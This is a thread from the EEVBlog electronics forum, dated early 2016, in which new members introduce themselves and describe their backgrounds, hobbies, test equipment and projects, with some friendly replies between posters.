I'm so happy to join the EEVBlog forum, woohoo! I'm a 20 years-old Air and Space Engineering student in Southern Spain, but getting myself specialized on Navigation Technologies, so most of my work is all around EE  :-/O I've liked electronics for a long time, and thank to Dave and the EEBlog forum I found a motivating and really valuable source of knowledge.

I can say, EEVBlog taught me about electronics much, muuuuuuuch more than all the teachers in school so far.

F.

Title: Re: New Member, Please introduce yourself
Post by: Commodore8888 on January 05, 2016, 05:02:15 am
Hey guys, junior year EE student at U of MD here. I've been into RC and general electronics since I was about 10 years old, and have been further and further pushed down the electronics rabbit hole by my other hobbies and school.

I've always been one to prefer actually building the stuff we talk about in class, and am a firm believer in the fact you morel likely remember something when the threat of magic smoke or a good buzz is present (more so than getting a B vs. an A on a test anyway lol).

I found Dave's channel right around when I started EE school, and it's been great for not only learning practical theory, but also keeping me well clear of bum test gear :) I've been lurking around for a while, but now that I'm getting deeper into the field, I figured it'd be good to start rapping with others.

As for projects, I'm in the middle of two: 1, a test rig for large BLDC motors and speed controls, and 2, a programmable music synchronized LED controller for radio control helicopters. The second one got me WAAAAY deep into the hole on low level uController details, C# and Windows programming, as well as serial protocols. Far more than any of my EE classes so far.
Title: Re: New Member, Please introduce yourself
Post by: Milmat1 on January 08, 2016, 04:50:22 pm
Hello everyone, My name is Matt Miller.

I have been watching Dave's video blog quite a lot and found so much great info that I figured I could learn even more and may even share some experiences over here on the forum.
I am an electric designer for a custom machinery builder. I design control systems for various motor control and motion control etc.
Being a long time electronics hobbyist (as long as I can remember) and a HAM radio operator, Iam always trying to do something new and sometimes I also contribute to the local landfill...


Thanks to everyone here for the great place !
Title: Re: New Member, Please introduce yourself
Post by: mroz on January 09, 2016, 10:27:23 am
Hello,

I'am an electronics graduated electronics engineer, currently getting my master of science degree in electronics specialized in computer based systems and embedded systems on Gda?sk University Of Technology in Poland. I am a self taught software developer with professional experience as a both wep page developer and BIOS developer at Intel.

My interests are:
*Software projects - low level 8bit MCP based systems and integration of such systems
*Hardware - small devices that do one thing and do it well
Projects examples:
* a stereoscopic usb camera with two degrees of freedom, tightly coupled with an Oculus rift
* Wifi enabled power strip with power usage measurement (I am the hardware guy)
* Web controlled sensor hub with RS485

Some of my work ( there are no that much... yet), and a CV in case you wont to hire me ;] : http://github.com/mrozo (http://github.com/mrozo)
Title: Re: New Member, Please introduce yourself
Post by: nadien on January 10, 2016, 06:06:46 pm
Hi all, my name is Nadine and I am from Malaysia. No formal education in electric/electronics (I am developer) but electronics is my hobby from early days...
Title: Re: New Member, Please introduce yourself
Post by: chirality on January 12, 2016, 05:06:12 pm
Hello everyone,

I'm chirality. I started watching Dave about a year ago and was impressed by his videos. I'm currently learning electronics theory and would like to improve my circuit design skills for various projects. EEVblog has been helpful in accelerating my understanding and I hope to start contributing to this forum in a meaningful way.

Warm regards to all. -chirality
Title: Re: New Member, Please introduce yourself
Post by: Falkra on January 12, 2016, 09:12:15 pm
Hi,  :D

I'm Falkra (ok, that's just a nickname), I live in France, and I have been watching Dave's videos for some time now, that means hundreds of videos now, and I really like them (Australian words inside !).  ;D

I am learning electronics, alone, slowly but this is a hobby. My goal is to understand better how things work, and to be able to repair some devices.

I like oscilloscopes, multimeters and those devices, I recently got an old analog oscilloscope, a multimeter (Uni-T... oops... ok not a Fluke 87 V...) and a clamp meter for reasonnable prices, I also have now a soldering station and a desoldering gun, a basic lab power supply as well, and... I need to practice more and more, get experience and better skills. ;)

Safety is improtant, thanks for the good pieces of advice in the videos, thanks again.

Sorry for the language, I speak french and spanish, english is a bit more difficult, so I will write with some mistakes.
Title: Re: New Member, Please introduce yourself
Post by: TinkerFan on January 12, 2016, 10:17:13 pm
I'm sorry, that I introduce myself this late, but I have overlooked this thread.
So here I am now, a German student (Yr11), who started with electronics about 3 years ago. With a 40 year old kit from my father (who gave up about 38 years ago ;) ). Before that I was encouraged by a friend to start progamming, but after 2/3 years, it became boring, because you are always sitting in front of a PC. So (after I had a bit of a play around with the kit) I tried a mix of both programming and electronics (Arduino) and a year later with the Stm32f4 dev board (which I killed last year, because I forgot protection diodes for a relais |O). But when I started with the stm, I found it very hard (and it was similar when I tried AVR's), because the Arduino is very, very simplified and some basic things (timer, interrupts) are almost never used. While I was doing that, I learned more and more about electronics, until I decided to drop the µC's for a year or two to learn the basics of electronics. I do that with the Art of electronics (currently Chapter 2) and with a lot of YouTube videos (dave, TheSignalPathBlog, Mikeselectricstuff, w2aew (that name...hard to remember correctly), etc.) and with the AmpHour.
About one and a half years ago I bought my first scope (an old Philips, very good one) on ebay, but it failed and I had to send it back. The PM3065, I use now, is also from ebay, and I think it is a really good unit. I 'needed' a scope, to test some basic electronic things (filter, amplifier...).
I also have a UT-61C DMM, which has (in Germany) two(!) HRC fuses and has a TÜV certificate, which is an independent safety test here in Germany. It seems to have a much better input protection, as the one Dave did a teardown of, quite a while ago.
The function generator that I got for Christmas is a Rigol DG1022.

For those who want a short summary:
- Beginner, started about 3yrs ago
- Arduino & Stm32f4 (a bit)
- good test equiptment knowledge (due to Dave's and milorton's videos)
- very basic knowledge in general electronics (probably even less, but I'm working on it)
- Equiptment: PM3065 scope; Rigol DG1022 FuncGen and a UT61C DMM
Title: Re: New Member, Please introduce yourself
Post by: Johntron on January 13, 2016, 04:15:06 am
Hi, I'm John Syrinek:
Title: Re: New Member, Please introduce yourself
Post by: vasi_ro on January 13, 2016, 06:07:21 pm
Hi !
My name is Vasile and i'm from Romania.
I have no formal education in electronics but is my hobby since i was a child.
Title: Re: New Member, Please introduce yourself
Post by: royshen9154 on January 14, 2016, 03:00:59 am
Hi everyone,

I am Roy from China. I got my Master degree of EE in Syracuse. And now I am a hardware engineer in HandScape in Fremont,CA. Hope to learn mroe from you guys and this forum. Thanks.
Title: Re: New Member, Please introduce yourself
Post by: Z80 on January 15, 2016, 04:42:21 pm
Hi all, names Trevor.  I 'discovered' the EEVBlog by accident some years ago when searching for a review of the pic kit 3 and came across that video  :-DD and have been watching ever since.  Started as an EE at a large Synchrotron facility in the UK, then did a CS Masters degree and am now a SAP consultant, go figure.  Still do electronics as a hobby, a lot more now that test gear doesn't cost as much as a family car.
Title: Re: New Member, Please introduce yourself
Post by: miguelvp on January 15, 2016, 05:18:50 pm
Hi Trevor,

Nice nick, amazing no one has taken Z80 before.

That chip probably got a ton of people started with hobby electronics more so than the 6502 (ducks).
Title: Re: New Member, Please introduce yourself
Post by: crazyjim30 on January 19, 2016, 01:30:50 am
My name is Jim. I'm a few months into what I hope will be a BS in EET/Mechatronics. As I progress through the curriculum, I hope to use this forum as a learning resource. Oh, right. Before I forget, I'm from Virginia, USA.

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Title: Re: New Member, Please introduce yourself
Post by: Vgkid on January 20, 2016, 04:11:06 am
Howdy Jim, where in VA are you?
Title: Re: New Member, Please introduce yourself
Post by: asisensei on January 21, 2016, 07:46:26 am
Hi All,
I have been interested in electronics for decades. No real training, but I pick up things quickly. In the late 70's and early 80's I was riding the audiophile wave, owning the top of the line Sansui first, then went to Adcom and then NAD. I worked on the side installing stereo's in cars and home units. this was when I was single in the air force and had some disposable income. I hung out in the back of the shop with the electronics tech and he taught me how to solder. I had a big break in electronics and am getting back into it as I continue to have vintage audio equipment and my daughter has the bug for the same. I would like to keep this older equipment working and learn more about electronics. I have been watching the eevblog video's and am soaking up the information. I also am interested in building some stereo equipment so I'm hoping to learn a alot from the forum. I'm in my last semester of nurse practitioner school and would like to learn to repair older equipment to keep it running and to have a relief valve from medicine.
Title: Re: New Member, Please introduce yourself
Post by: lg11 on January 22, 2016, 10:55:02 pm
Hi
More commonly known as littleghost on most forums, but often shortend to LG or LG.

I am now 15 but been into electronics since I was 10 or 11, member of other forums but kind of got sick and tired of the drama and politics etc etc ad naseum. For all spelling and gramma police kindly note I do my best but I am dyslexic and a bit thick lol.

Mainly into over ambitious projects and a big big fan of pointless feature creep, I think I have a pretty cool lab and over time built it up by buying crap and getting it working (sometimes not!).

I used to have a spotless highly organized lab and was very proud of it, its a complete tip now so might post pics when I grow out of my current tramp stage :D.

not much else to say really..............I do have a very very dry sense of humour and some people think I am being 'off' 99 times out of 100 its my humour and the one time it isnt I tell you anyway lol, oh did I mention I was opinionated? Gobby? 15? bit lunatic?

Anyway looks like a cool place and no drama YAY................been watching daves vids from day one, like them all except the one he destroyed the lecroy scope and refused to repair it as it was old etc etc!!! I have a lecroy scope just like that and its my pride and joy! Dave you hurt my feelings with that vid!

Love the new toys but also really like very old equipment and most of mine is boat anchors, each lovingly restored where possible.

Not huge fan of Arduino but starting to like them, more a pic person or better yet silicon labs Gecko range, just got a R PI despite vowing never to own one! Not used it much yet as its for a huge school project.

Widely regarded as a true idiot savant thats missing the savant bit.

I hate waffle and those that waffle on in a pointless manner spouting nonsense when they have nothing to say..............on that note Hi to all and I expect some of you will know me from elsewhere.

Hope to stay around for a while once Dave says sorry for the lecroy :D
Title: Re: New Member, Please introduce yourself
Post by: k.valentino on January 23, 2016, 12:17:09 pm
Hi  :) , my name is Valentino, I´m from Spain. Work experience is in computers repair, laptops, phone, Tablets, automotive electronic modules, etc.... Thanks for to have admit me here!
Title: Re: New Member, Please introduce yourself
Post by: synth-dude on January 24, 2016, 03:45:27 pm
Hi all,

I found fellow aussie Dave Jones a few months ago and finally got around to creating an account.  Great video blog and forum, truly wonderful, a real treasure trove of hard to find information, thanks.

I don't work in electronics but I build home-made synthesizers (from scratch, not kits) and so always keen to learn more about electronics.

Synth-Dude
 
Title: Re: New Member, Please introduce yourself
Post by: Philfreeze on January 26, 2016, 09:02:51 am
Hi, my name is Philippe
Specs:
- 19 years old
- Lives in Switzerland
- Currently in the last year of his apprenticeship as electronic desinger/enginner (or something similar; Elektroniker in german)
- Is planing to do a bachelor and master at ETH Zurich (Switzerland)
- Likes space stuff
- Wants to work for SpaceX, blue origin, ESA etc.
- Not very social (a bit introverted)
Title: Re: New Member, Please introduce yourself
Post by: Rémi on January 26, 2016, 07:02:28 pm
Hello, my name is Rémi. I'm 27 years old and I come from Switzerland. I have a bachelor degree in electronic engineering.
I was reading the forum since a while and decided that it was to time to sign up. My interests are mainly in analog design and microcontroller.

Title: Re: New Member, Please introduce yourself
Post by: uncle_bob on January 27, 2016, 06:27:02 pm
Hi

Normal introduction stuff.

Been a Ham since I was a kid. Worked in the electronics business as a EE since I got out of college. Spent time doing just about everything from bench work through running the company. Hopefully I'll make it to retirement in a couple of years. These days I seem to spend more time writing firmware than doing RF work. As long as they keep paying me, I'll do what they ask...

Bob
Title: Re: New Member, Please introduce yourself
Post by: parker92 on January 27, 2016, 10:15:01 pm
Hi, I'm Adam. I'm a mechanical engineer and found the EEVBlog youtube videos a year or so ago when I decided to expand my hobbies into working with some electronics. I have a few projects in the works: a guitar pickup winder, home theater speakers and crossovers to name a few.  I've been reading the forums off and on and finally decided to join. Definitely excited to learn more!
Title: Re: New Member, Please introduce yourself
Post by: M15H on January 28, 2016, 08:00:25 am
Hi,

My name is Jason.  I have an electrical and computer engineering degree but have been working out of the industry since college.  It's been nearly a decade now and I'm looking to start building my skills back up and work my way back to the EE world.

-Jason.
Title: Re: New Member, Please introduce yourself
Post by: Nerdlord on January 28, 2016, 06:40:08 pm
Hello everybody,

I'm about a year and a half away from graduating with a BS in computer science. I took a basic intro to EECE class about a year ago and I've been hooked ever since. Unfortunately, it was too late in my schooling to change majors to EECE but luckily my university offers an EECE concentration in the CMPS field. I'm stilling a total beginner but I finally got around to ordering some half decent lab gear and figured it was time to get an account on here so I can join in instead of just lurking as a guest.
Title: Re: New Member, Please introduce yourself
Post by: jsantoro on January 29, 2016, 04:21:18 am
Hi All,

New to this forum. I'm a semi retired IT/Software/HW engineer. My electronic interest goes way
back to my younger boys days building radios and Heathkits. I will soon have some time on my hand and will be getting back into electronics on a frequent basis. Currently modernizing my test equipment. Projects and interest are fuel injection controllers (cars are also a passion) and tube amplifiers.
Regards,
Jim
Title: Re: New Member, Please introduce yourself
Post by: Xplode on January 29, 2016, 05:01:57 am
Hey everyone.   My name is Russ and I'm a hobbyist/enthusiast who has enjoyed dabbling in the electronics game since High School.
I've installed DIY Car Fuel Injection Systems, Built my own Ambilight System, and messed around with everyone's favorite hate-child, the Arduino.
I'm a ticketed Electrician by day, and a Pyrotechnician by night so I'm looking forward to attempting to build things like wireless fireworks systems, or my own VFD (very tiny scale of course).  I've got a long way to go, but the journey looks exciting! (I've definitely subscribed to the "Take it apart and apologize" philosophy since I was a kid)

I don't have a ton of formal training, but love learning so I'm looking forward to adding to the hours of reading I've already done in the forum.
Just bought myself a cheap benchtop power supply (Its a Korad... I know... but they're so cheap! seems good to start with)  and now I'm looking for a good scope.   Seems like everyone of late loves the DS1054Z so I'm considering picking one up to let me finally stop guessing why my devices don't seem to be talking to each other... I mean are they or aren't they?  Maybe they are and its a interpreter problem? I just can't tell!

Title: Re: New Member, Please introduce yourself
Post by: monkeybro76 on January 29, 2016, 05:38:50 am
Hello,

I am a software engineer. I major in computer science. I worked in Internet and Telecom area. Worked on 3G/LTE R&D.
I happened to see the EEVBLOG video on youtube, and found this site. It's a good place for me to learn the HW and test
/DIY with some ready to use HW package.

Hope to learn and contribute to this forum.

Thanks,
Jeff
Title: Re: New Member, Please introduce yourself
Post by: kd5iku on January 29, 2016, 07:26:59 pm
Hi everyone!

While I am new to this forum, I have been a tinkerer in electronics most of my life and am an IT manager and Chief Network Engineer at a local University. I am an Extra class amateur radio operator and have built, tested and repaired my own and other's radio equipment since shortly after getting my license back in 99. I recently had most of my test equipment and components stolen and began looking for some ideas on what kind of newish equipment I wanted to get. (We moved out of the city to the country following this sad and deplorable incident... Nothing but livestock for a mile in any direction! WOOHOO!!!) Lo and behold, I ran into the EEVBLOG on youtube! Needless to say, I was impressed by the tear downs and wandered over to check out the forum.

I am hoping to learn more about using microcontrollers in my projects as well as increasing my understanding of circuit engineering outside of the analog circuits I am so used to. I will be the first to admit that I am not an EE or in any way, I do not possess any formal training on electronics and am not an expert, but perhaps there is something I can contribute as well.

Thanks!

Chris/KD5IKU
Title: Re: New Member, Please introduce yourself
Post by: Xplode on January 30, 2016, 06:31:42 am
I've definitely subscribed to the "Take it apart and apologize" philosophy since I was a kid.

That's the driving force for me to learn electronics -- if I broke it, either fix it or get my ass "fixed" by my parents.

Haha.  Yeah.  I started pretty young so I guess they got used to it.  Now I try to help fix things if I can, so I guess I'm working off the oops-debt.
Title: Re: New Member, Please introduce yourself
Post by: jmibk on January 30, 2016, 12:29:26 pm
Hi,

my name is Mike and I'm new to the forum.
I found the EEVblog Videos on youtube and they are great - so I joined the forum too.

I'm a 31 years old electronic engineer from austria and intrested in that electronics stuff. I do some own little electronics projects, much of them with atmel micros and lots of dmx stuff.
Currently i am studying media technics in Amberg, Germany in 5th semester (of 10).

 :blah:
Title: Re: New Member, Please introduce yourself
Post by: time4life on January 31, 2016, 08:39:17 pm
Hello there!

I do a lot of reading in this forum, but up to this point I have never joined.  This is a fantastic community that I hope I can contribute to and get helped as well.

I am currently studying to be a biomedical equipment technician at Durham Technical Community College in NC.  The program is basically an electronics-based program with biomedical equipment applications.  The field is of course electronics at its core, but you need to be comfortable with mechanical things as well as IT networking nowadays.  I have an mechanical engineering background, so I am good with this.  I also took a few networking classes and I really like them.

I wanted to be in a field that helped people, so I figured that healthcare was not going anywhere and this field is in high demand due to may existing technician retiring and not being replaced.  Apparently, young people are not interested in the vocational fields anymore.

Anyhow, I want to be better at electronics because it is not as intuitive to me as mechanical things.  I am just starting to build my collection of equipment.  I have a Fluke 189 that I purchased for about $50 at a pawn shop (they did not know what they were selling, fortunately for me).  I also have a Blue ESR meter.  I am looking at getting a scope next.

Work wise, I am working part-time at a veterinary hospital while finishing school.  All the equipment used on humans are used on animals.  I will graduate at the end of the summer this year, and will likely be employed by a hospital repairing and maintaining their biomedical equipment.
Title: Re: New Member, Please introduce yourself
Post by: dogbox on January 31, 2016, 09:15:55 pm
Hi all,
I have been watching Dave's vids for about 5 years, apart from the odd lurk, never had much to do with these forums..I was active in others though. I'm 50 years young and I early-retired and moved to rural Indonesia in 2013, after 30 years in graphic design and IT, and turned into an aged surfing bum.. Watching Dave has helped me from going completely troppo when I couldn't do electronics due to not having my gear. My interests are in audio recording and music side of electronics..old school analogue (guitars, amps, effects, mic preamps). On a recent trip back home to Australia I was able to bring about 60kg of my parts, and tools and I plan in the near future to invest in a desktop cnc machine to assist in prototyping a few ideas I've had while floating around on a surfboard :).
cheers
Steve
Title: Re: New Member, Please introduce yourself
Post by: hemdale on January 31, 2016, 10:44:35 pm
Hello everyone,

I though I would give a brief introduction here.

I'm from Paris (France) and discovered several years ago the EEV YouTube (hilarious) channel.  :-+
I'm not an electrician and I definitely don't have any extensive knowledge of electricity / electronics but I find several aspects quite fascinating.
Working in renovation / construction and I'm slowly learning basics on electricity.

I've been rewiring (mostly changing plugs  :palm: ), soldering (but recently I should have use crimped terminals or ferrules), stripping (just pulled the trigger on a Wiedmuller Stripax) for the past few weeks so I'll probably need some help and will ask some dumb questions for your reading pleasure  :-DD :palm:

I'm no longer doing this  :wtf::

(http://artisanelectric.net/blog/wp-content/uploads/2010/03/outlet-blog-side-view-wrong-way-to-wire.jpg)

But I'm not sure I would know how to do that  8):

(http://www.joeydevilla.com/wordpress/wp-content/uploads/2015/01/amazing-wiring-job.jpg)


Cheers boys.

Hem
Title: Re: New Member, Please introduce yourself
Post by: crazyjim30 on January 31, 2016, 11:14:56 pm
@Vgkid I'm from King William County. That's about 30 miles NE of Richmond.

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Title: Re: New Member, Please introduce yourself
Post by: Vgkid on February 01, 2016, 12:29:50 am
@Vgkid I'm from King William County. That's about 30 miles NE of Richmond.

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i'm about 60 miles south of Richmond...
Where did you go to school?
Title: Re: New Member, Please introduce yourself
Post by: crazyjim30 on February 01, 2016, 12:33:26 am
@Vgkid I'm from King William County. That's about 30 miles NE of Richmond.

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i'm about 60 miles south of Richmond...
Where did you go to school?
ECPI. I graduate (hopefully) in late 2017. I went to high school (back in the dark ages...late 90's) in Newport News.

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Title: Re: New Member, Please introduce yourself
Post by: Vgkid on February 01, 2016, 05:49:03 am
ECPI. I graduate (hopefully) in late 2017. I went to high school (back in the dark ages...late 90's) in Newport News.

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Small world, I live in Smithfield VA.I earned my AS from TCC(Portsmouth)/TNCC(Hampton)(very long story), and am going to ODU(Norfolk) for my BSEET in the fall.
Title: Re: New Member, Please introduce yourself
Post by: EagleTG on February 01, 2016, 01:19:50 pm
Hi all.  New here, have followed Dave's YouTube channel for quite some time but never realized that there was a forum associated with the blog.  Hahah.

I've been an electronics hobbyist most of my life, for the last 20 years or so I've been concentrating on repair of pinball and arcade games, even more recently (3 years or so) focusing on vintage computers.  I've been a Commodore guy as long as I can remember but really got into the hobby when a friend mentioned that I should join the Vintage Computer Federation Mid-Atlantic Chapter based out of Wall Township, NJ.  It's all been downhill from there.  :P

I'm interested in the Arduino and Raspberry Pi boards, used them in a multitude of projects.  I'm now interested in building my skills to be able to design circuits for use with various ideas that I have, including but not limited to the remanufacturing of obsolete boards and components for the arcade, pinball and retro computing hobbies.  A short term goal is to design a board layout for one of these projects and send it off to get a small production run of professional boards.  Right now, I'm starting to learn KiCAD and hope to find useful information here on the board.  :)

I'm looking forward to hanging out here!
Title: Re: New Member, Please introduce yourself
Post by: Errmy on February 01, 2016, 01:45:39 pm
Hi all,

I have been watching the EEVblog for some time now and also decided to visit the forum.
I'm a 29 year old electrical design engineer from Germany. As hobby I mostly work on analog designs and with microcontrollers.

Markus
Title: Re: New Member, Please introduce yourself
Post by: HighPrecision on February 02, 2016, 12:20:55 pm
Hello Techies,

after long time I finally decided to enter in this forum, I'm 56 old, main interest in Test Equipments, I have worked in repair and calibration from over 30 years ago. I worked also on digital circuits, but I'm most an analog and RF guy.

Fortunately, despite my lifelong problems at vision and hearing, the passion for electronics prevails and I want to learn all possible from this matter  :)
Title: Re: New Member, Please introduce yourself
Post by: Duffrageous on February 02, 2016, 11:59:16 pm
My specialty is iPhone repair, but I'm a classic-gaming enthusiast.  I'm currently ranked #1 in Super Mario Kart Battle Mode for SNES and may be ranked #1 or #2 in Super Mario Bros 3 Battle Mode on Super Mario All-Stars.

If anyone has any questions related to SNES gaming or software modding, i can help.  Interested in playing new levels in your favorite NES or SNES games?  I can show you the right place to design your own or play others' creations. 

Also, if you have those annoying iTunes error codes or your iPhone won't turn on, I can help as well. I specialize in buying/selling/repairing of broken iPhones.  Tip:  don't ever change an iPhone 6 or 6S home button; you will lose Touch ID and not be able to OTA update or reset the phone ever.  If you have, then there is a chance Apple will fix it for free or a fee. 
Title: Re: New Member, Please introduce yourself
Post by: gnavigator1007 on February 03, 2016, 02:55:51 am
Hey everybody!  I've been lurking around the forum for quite some time now.  Figured I finally ought to introduce myself.  I'm into hobby electronics, gardening, and brewing delicious beer here in Tallahassee, Florida.  Went to school for horticulture, but the more time I spend tinkering with electronics, the more I feel like I should've studied EE.  Stuck working in restaurants for now though |O  This forum and Dave's youtube channel have been amazing resources for me as well as a huge source of entertainment.  I'm looking forward to learning through more active participation in the forum now.
Title: Re: New Member, Please introduce yourself
Post by: mdg82 on February 03, 2016, 09:31:38 am
Hey everyone, my name's Marsh, I'm new so dropping in here to say hello. I'm just after some advice on fruit machine repairs so was going to start a thread about that. Thanks.
Title: Re: New Member, Please introduce yourself
Post by: marty on February 04, 2016, 06:19:28 am
Hi,

Just a noob learning from USA. So my first project is a power supply, currently a month into it just on paper.

learning/using KiCad, LtSpice

gilding the lily on it


Thanks Dave for all the valuable input from your tear down and tutorial series videos.. Extremely helpful in design/layout, chip selection, don't and Do...

I need more Tuesday's and Friday's in a week.
Title: Re: New Member, Please introduce yourself
Post by: washoegary on February 04, 2016, 10:00:28 pm
Hi all, I'm an Electronics Engineer and have been designing industrial instrumentation for 30+ years. Prior to that I was a Senior Electronics Technician working for a premier oscilloscope manufacturer in the late 70's through mid 80's. I have a strong troubleshooting/analysis background in both analog & digital. I built my first tube radio in '68, a TV in '70, and etched a nixie tube counter PCB in '71. (fun times)

I typically don't join public forums because of threads that quickly grow to tens of thousands of words in few days, who has time for that? I have found this forum to have a lot of smart people that genuinely want to help each other. My hope is I might be able to help someone from time to time.

Thanks,
Gary
Title: Re: New Member, Please introduce yourself
Post by: Electrospark on February 05, 2016, 05:46:56 am
I'm a self thought electronic hobbyist and just love to play around with a few breadboards doing all sort of circuits.
I know quite a lot about ee but I still have a long way to go.

Big projects I did was an LA4282 based 25W stereo, 100W LED lamp, car blower atx power supply soldering fume extractor, custom computer case and all that sort of good stuff. :D
Title: Re: New Member, Please introduce yourself
Post by: richmazz on February 05, 2016, 07:31:54 pm
Hey everyone, I'm pretty new to tinkering with electronics and circuits. In fact, I am looking forward to starting my first project. I don't know what it is yet, but I am looking forward to it.
Now to find some ideas on the forums.
Thanks
Rich
Title: Re: New Member, Please introduce yourself
Post by: Qmulus on February 06, 2016, 07:59:01 pm
Hello from CO, USA.  I've been in the industrial and automotive electronics industry in pretty much all phases including design, production, repair and product support for the last 30 years starting as a technician, and working up to senior electronics engineer.  I currently own a small electronics business.

Steve
Title: Re: New Member, Please introduce yourself
Post by: mstoer on February 06, 2016, 08:20:57 pm
Hi,  I'm from Victoria, BC, Canada.  I've been reading the forum and watching the blog on youtube for quite some time now.   Electronics is  combination of work and hobby for me.  Lately I've been playing with arduinos and esp8266 based boards and finally decided to make an account here.

Marcell
Title: Re: New Member, Please introduce yourself
Post by: nwvlab on February 07, 2016, 10:15:36 am
Hi there!

I'm Nicola from Italy :)

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: markhing on February 07, 2016, 10:01:17 pm
Hello, I'm a software developer living on Vancouver Island in Canada. Lots of software background, almost no hardware knowledge (but have been binge viewing the EEVBlog videos on YouTube).

I've been trying to get my son interested in programming but he's not too interested in seeing results on the screen. However he did a Lego mindstorms robot class last year and was very interested, so I thought we'd learn about Arduino together and see if that caught his interest. Just signed up to this forum 2 days ago and already I've had quite a few responses that have greatly helped.

Excellent community.

Mark.
Title: Re: New Member, Please introduce yourself
Post by: tenthirds on February 09, 2016, 02:43:46 pm
Hello! I'm a long-time viewer of the EEVBlog, just now getting into the forums.

I'm an electrical engineer a few years out of school, currently working in the medical device industry.

Technical interests include retro computing, retro video games (stuff pre-1984), Apple collecting (technology, not fruit), and arcade games.
Title: Re: New Member, Please introduce yourself
Post by: jcwold on February 10, 2016, 01:33:51 am
Hello All,
After a long time in IT, I recently began a job as a Test Technician and find myself getting deeper into electronics than any previous job or hobby required. It's a steep learning curve, but I'm digging it.  Naturally my quest for knowledge brings me here where I am mostly lurking and devouring old threads. I'm also into RC flying and Audio and still like to play with computers. I hope to contribute soon, meanwhile I'm stepping up my game and my gear.
-John
Title: Re: New Member, Please introduce yourself -Oskar
Post by: Oskar on February 12, 2016, 12:48:45 am
Hi,

I'm an old guy.  Mostly a lurker with a non electronics related job.   Enjoy watching eevblog, mikes electric, w2aew videos.  I mess around with audio and micro circuits.  Most familiar with PIC micro but also have a RBP, who doesn't.

Live in the US, east side, bout half way down...

Oskar
Title: Re: New Member, Please introduce yourself
Post by: Roller Steve on February 12, 2016, 07:09:55 am
Hey Y'all,

I'm Roller Steve from Colorado. I love electronics and finally decided to join the forum. When I first saw an EEVblog video, I couldn't stand Dave's voice! It was too high pitched and annoying. So I avoided EEVblog for years (even though I saw mentions on Hackaday and other sites). Lol... But I finally got over that mental block and really enjoy Dave's videos now.

I first got the EE bug when I was in college studying Chemical Engineering. I wasn't excited about the major; the labs were boring. And 90% of ChemE's go into either petroleum or pharmaceuticals, and neither of those industries interested me. At that time (2005) I went to Burning Man and saw so many awesome art installations using LEDs. This was right around when LEDs were starting to become popular, but weren't totally mainstream or a known kitchen word. LEDs totally caught my fascination. I started ordering parts off eBay (I didn't know Digikey existed!) and skipping class to play with circuits. Finally I realized I should switch majors to EE!! I've never regretted it.

Glad to be an active forum member now!
Title: Re: New Member, Please introduce yourself
Post by: lonetos on February 12, 2016, 01:02:02 pm
Hi All,

I am working for a software company, always been interested in the hardware layer in more detail. Now I am in the process of learning electronics. I also like to play around with an old C64... =)

Toshio
Title: Re: New Member, Please introduce yourself
Post by: luney on February 13, 2016, 03:36:52 am
Hello everyone. My name is Jim (luney goes way way back to my very first ever online name from around the early 90's"). I currently work as an HVAC technician in Las Vegas and have been doing that for 22+ years now. However, I have always been interested in electronics. Seriously! Since as young as I can remember, I had a bad, ok maybe it's actually good, habit of tearing things apart to figure out "what makes them do that and how does it do it?") . I have always attempted to repair all of my own electronics devices. A lot of the time I have been successful (mostly simple repairs that involve replacing a component that has obviously failed) but not always. A recent work related injury is most likely going to end with me having to go back for some education so that I can change careers. I figure that since I truly love electronics so much, this would be an awesome avenue to explore as a possibility for a new source of income. I found this forum when searching for reviews of oscilloscopes. It appears to be a pretty awesome place with some intriguing personalities. I hope to be an active member. I tend to be pretty quiet in forums, preferring to watch and learn unless I believe that I can actually make a positive contribution. Since I am truly a noob and do not have a whole ton of diagnostic experience, I will most likely ask alot of questions when I do post. I'm a firm believer in the whole "the only dumb question is the one you do not ask" philosophy. All I ask is that you guys and gals please be gentle and help if you can. I will in turn do the same if I am able.  I absolutely love to learn. Through my whole life, if I did not understand something, I would search every possible source of information to learn all I could about the subject at hand. I was never happy with only learning enough about a subject to solve the current problem. I literally NEEDED to know everything I could find on the subject. When I was a kid I would search my family's sets of encyclopedias. Later I would search libraries. Once I discovered the internet, in the early nineties, researching anything became so much simpler. Anywho, thank you for your time that it took to read this introduction. I hope I didn't waste your time and you learned a bit about me. If anyone has any questions for me, please feel free to ask. Thanks, luney.
Title: Re: New Member, Please introduce yourself
Post by: Mario_write_Code on February 15, 2016, 04:42:38 am
Hello From the USA!

I'm what I would call an advanced hobbyist in electronics. Advanced being that I hold a BS in EET (Electrical Engineering Technology), hobbyist because I have yet to work in that field and instead fix computers. Still I build projects in my spare time to keep somewhat in practice and I enjoy making things. I look forward to all the things I'll learn from this forum as I love to learn and there is always something you don't know.

-Mario
Title: Re: New Member, Please introduce yourself
Post by: tooki on February 17, 2016, 05:42:56 pm
So I'm already Almost 500 posts in and never got around to doing this! So at this point, it's an introduction and a retrospective on the past year.

I'm a 36 year old American living in Switzerland (7 years now, plus 7 years in my teens, separated by a 10 year return to USA to go to university and whatnot). When I was a little kid, I loved electronics, even though I wasn't really very good at it. Nonetheless, while other kids were outside getting skinned knees playing sports, I'd be immersed in encyclopedias or burning myself with a radio shack firestick while relishing the smell of rosin flux. I still have notebooks from second and third grade of the robots I was gonna build, including layouts of the user interfaces! As I'm sure you all can relate to, I began by taking things apart (but not being able to get them back together, to my parents' chagrin), then taking them apart and getting them back together flawlessly, to being able to take them apart and repair them. I didn't have anyone to mentor me in electronics (my parents and stepparents comprise a language professor, a doctor, a social worker, and an economics journalist), and as a teen, I got into computers so electronics fell by the wayside, also because I spend time on other hobbies (cooking, photography).

Computers became my career, though I always kept a love (and knack) for taking things apart and often fixing them. (I got my bachelor's in business information systems, with a minor in linguistics.) For many years, I was an administrator of what was at the time the largest Mac forum on the Web, and I worked at a number of Apple authorized dealers, independent Mac support providers (knowing how to repair laser printers was a valued skill), as well as two Apple Stores, over the years. When it comes to computing devices, i'm definitely an Apple guy, but my technical knowledge of them goes far, far, far deeper than the typical pro user.

In 2009 I moved back to Switzerland (to get a European passport while I still had the chance), and began working at a software company, first in technical translation and technical writing, then in bilingual customer and tech support and product testing, and ultimately contributing to product design as well, since my deep technical knowledge combined with usability training proved very valuable to the engineering team. I then worked at an agency that specializes in usability and website design (my last title was UX architect).

